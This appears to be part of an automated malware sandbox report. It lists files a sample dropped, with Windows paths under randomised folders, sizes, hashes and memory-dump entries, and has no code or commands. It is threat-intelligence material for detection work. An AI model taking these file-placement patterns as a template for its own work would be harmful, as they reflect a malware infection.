SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\8wdZTb\XPSPLOG.dll
Size 4.6MB
SHA256 be12378f1530252a2d0331500f29b297a9f86a08865de8e2a73b766743147694
MD5 67db291231193d03d07a5ec581c9ebfb
SHA1 7854914ffc7f9f8cd00565e35499c5626b4af072
SHA512 5afbaa1079d2959db27447061d1d9999c9ca4d1dd55ec1ff49be918538d8ee18fe62f772e0df39f054257e2fde2190fab4305e86f19bf9c3611687bf04c82974
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyo:BMWKfU+BcUTHCCCfqCiUffno
TLSH
T12C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\8wdZTb\XPSPLOG.dll
Size 4.4MB
SHA256 1838896ff5f123a8d9002e157e3a1f55f197cdcbd3b1c451db0f6664e32436da
MD5 ac03dca97143cd366bbd0498cddcb2a8
SHA1 6e7de1832b55e0a67a24769b222c12ab2a4ad8e7
SHA512 f6d90a911485e4fd6971df8ee6278fe26d0b4c21ace812ca0d256ddcac091004f0130cdcf6768b165a0708d008dfcc225d902d5165c0d5ffb8c86441dbe0486f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdL:BMWKfU+BcUTHCCCfqCiUfft
TLSH
T1BB263349BACB064DD89672B45F29FC7EB6B52DCC4304DC49C449758BD8B372A703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\8wdZTb\image.png
Size 4.8MB
SHA256 a987d6fb856ea458afb92e41ad6ad9d6d2e54ebcdfc0862472e16a83822037bb
MD5 7ee62d7707c87a247c788b64a8b64017
SHA1 95b436943f9ec31816e586f883ed3bdb983ac6fb
SHA512 bfeb66df3daacffe9a986b32866029835d0f001aef44bb94eda55588769eff1fb4499b78dae5413841c145b56fc27e17ae2bee3b52a3027d1b5c5f8d12e4d661
SSDEEP 98304:a/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:aMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T15936334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\8wdZTb\thumbs.db
Size 358KB
SHA256 f44a98ed2cf3065d31ac9c235e356343fce45afef8b5517f1b524d3204d57da0
MD5 2fe35e0949639d038e8b46056596b41d
SHA1 94998662277c4f877150fde089d72a6c96cf1aea
SHA512 e0116202a564491e77b7487b726963ea8d89528bcdc7df553920d3b88eb85941431a2bf80a6baf981a3dad6d7646e2a6b95c2ebbd9d9ec02a3e4834021675822
SSDEEP 6144:5iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:Y8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1AA74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\pM1K1N50\XPSPLOG.dll
Size 2.7MB
SHA256 b1ed7f39db4d225ad7395f2e513bc3ba96fa587e7a1e964fd00cd992b79cac3c
MD5 d15119c6cdfbaedb75fe2785a19f7829
SHA1 e6a7217b89cbdb4c2f6e6df03c14e8af2accbe0c
SHA512 8b172e708ff9042e7895a8e9cd5070edddb1792c03ae0a638e44de7b29fbc417a10ad0b7665f3a5a4a67438b5fdace1261f80c838d0f2815c06136ca527049c2
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOK5:yCMWmcKfST5t+BceThTHfao
TLSH
T16AD533DAEA9B461EE67033792F7DECAD76BC49C4831DE445D1A2314F4044BAE903E68C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\pM1K1N50\XPSPLOG.dll
Size 2.4MB
SHA256 105f1f705d82fb665a5c5b6154673335443316874195ddeda89f9199ff6f2d0f
MD5 4e453e3175c2b92ef995c65039db1979
SHA1 4cea687275efc1749d6b7dff43f65e8a7624a686
SHA512 46e4a15b7f9d2eba134498463dbe44b5221c12496297dbf921ab5d6eacb67cae5e64eb6eaa0d49da861b7f416b4611a9d5b1e7b2c152dc6ea4b06a20d78c45ed
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnU:yCMWmcKfST5t+BceThTHF
TLSH
T16FB5339BF557460EEA6133B82F9DFC6D72BD59C8C22DE548D492308B4014B6E903FA8D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5oUAFm.exe

Path C:\Users\Public\6k2F9b\5oUAFm.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\6k2F9b\UxEnhance64.dll
Size 3.1MB
SHA256 c40ccb2c52348912290e5cb4ae7fafcab60970cfc8ded3d6db41ef74c6fed0e1
MD5 bc606e3c9fb6b725208dbadadb05e3f0
SHA1 ce07e7ff7863b8b029620f4beb8ec5212647bd5c
SHA512 d9a78ac657dc3d3cae43234d6d2c68a9c5faf631f1a89f9abef4bb2c713e9e9f9d60de67c485f86d6b9c25a3d0fdc5b7aebcf9430486f3c11444f836b92eff8e
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+k:P9m29xx3Tiqt06ox6+z2rNNrKok
TLSH
T145E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\6k2F9b\adoresd.dat
Size 4.7MB
SHA256 65b5bdfd3205df533210f64088af7db2bc813fe4605487be43b1f21f0c4f957e
MD5 0a902790c294509914819babc4a30398
SHA1 54b5a0f801368e5b130e80875c0521338f5b618d
SHA512 2301edaf2b80e2c44f34f482151ab16c37661ba8d7e16a284e2281701efda40937e010cff1d2fd024255a4ff764fd91e03027b9ee7404ba587288dc977100034
SSDEEP 98304:pKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:pKClqhi0Cv54K2IVS0VQg
TLSH
T1B63633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\6k2F9b\msadox.tb
Size 8KB
SHA256 d14e3e61957ba142d64830b63418ce816e76e4c25449539a5cebb5bcd5f84c7f
MD5 af9a1549d004152d7c30bc85ea971274
SHA1 52c5b69c6c2a0a047839b07054c8f50fdd936d7c
SHA512 f1da692e3cb06816be081b94d85cbc413d5cbbd0f2daa299735f6efb614de70b327a057467e41815fb50a40a7ead71ee204edc46f5c1a5c9e48a00164e57ced1
SSDEEP 192:jqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:jsZqZOXQ3uqvR2Kfzp
TLSH
T1A6029E05D7A20CC3E2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1084-739-0x0000000000980000-0x0000000000981000-memory.dmp

Download

memory/1084-740-0x0000000074E30000-0x000000007557A000-memory.dmp

Download

memory/1284-745-0x00000000007D0000-0x00000000007D1000-memory.dmp

Download

memory/1284-746-0x0000000074E30000-0x000000007557A000-memory.dmp

Download

memory/1692-544-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-566-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-550-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-556-0x0000020251BE0000-0x0000020251C2E000-memory.dmp

Download

memory/1692-557-0x0000020252F70000-0x0000020252FFA000-memory.dmp

Download

memory/1692-558-0x0000020252F70000-0x0000020252FFA000-memory.dmp

Download

memory/1692-561-0x0000020252F70000-0x0000020252FFA000-memory.dmp

Download

memory/1692-560-0x0000020252F70000-0x0000020252FFA000-memory.dmp

Download

memory/1692-564-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-546-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-567-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-545-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-543-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-539-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-538-0x00007FFA1EA80000-0x00007FFA1EA82000-memory.dmp

Download

memory/1692-536-0x0000020252620000-0x0000020252EA7000-memory.dmp

Download

memory/1692-531-0x00007FF9FBF70000-0x00007FF9FC48E000-memory.dmp

Download

memory/1692-530-0x00007FFA1EA70000-0x00007FFA1EA72000-memory.dmp

Download

memory/1812-593-0x000001574F710000-0x000001574FF97000-memory.dmp

Download

memory/1812-595-0x000001574F710000-0x000001574FF97000-memory.dmp

Download

memory/1812-598-0x00007FFA1EA70000-0x00007FFA1EA72000-memory.dmp

Download

memory/1812-597-0x000001574F710000-0x000001574FF97000-memory.dmp

Download

memory/1812-582-0x00007FF9FBF70000-0x00007FF9FC48E000-memory.dmp

Download

memory/1812-592-0x000001574F710000-0x000001574FF97000-memory.dmp

Download

memory/1812-585-0x000001574F710000-0x000001574FF97000-memory.dmp

Download

memory/1812-587-0x00007FFA1EA80000-0x00007FFA1EA82000-memory.dmp

Download

memory/1812-588-0x000001574F710000-0x000001574FF97000-memory.dmp

Download

memory/2088-603-0x000001FB6CED0000-0x000001FB6CEF2000-memory.dmp

Download

memory/2088-606-0x000001FB6D250000-0x000001FB6D26E000-memory.dmp

Download

memory/2088-607-0x000001FB6D270000-0x000001FB6D322000-memory.dmp

Download

memory/2088-608-0x000001FB6CEB0000-0x000001FB6CEBA000-memory.dmp

Download

memory/3004-687-0x0000000003900000-0x00000000040DD000-memory.dmp

Download

memory/3004-728-0x0000000003900000-0x00000000040DD000-memory.dmp

Download

memory/3004-684-0x0000000003900000-0x00000000040DD000-memory.dmp

Download

memory/3004-694-0x00000000055F0000-0x0000000005604000-memory.dmp

Download

memory/3004-695-0x0000000003900000-0x00000000040DD000-memory.dmp

Download

memory/3004-682-0x0000000001580000-0x0000000001581000-memory.dmp

Download

memory/3004-701-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/3004-702-0x0000000003900000-0x00000000040DD000-memory.dmp

Download

memory/3004-680-0x0000000003900000-0x00000000040DD000-memory.dmp

Download

memory/3004-675-0x0000000001560000-0x0000000001561000-memory.dmp

Download

memory/3004-729-0x0000000003900000-0x00000000040DD000-memory.dmp

Download

memory/3004-677-0x0000000074E30000-0x000000007557A000-memory.dmp

Download

memory/6108-0-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/6108-525-0x00007FFA0EE10000-0x00007FFA0EE22000-memory.dmp

Download

memory/6108-524-0x0000000000560000-0x000000000056E000-memory.dmp

Download

memory/6108-504-0x00007FFA0EE10000-0x00007FFA0EE22000-memory.dmp

Download

memory/6108-2-0x0000000000570000-0x000000000057C000-memory.dmp

Download

memory/6108-1-0x0000000000560000-0x000000000056E000-memory.dmp

Download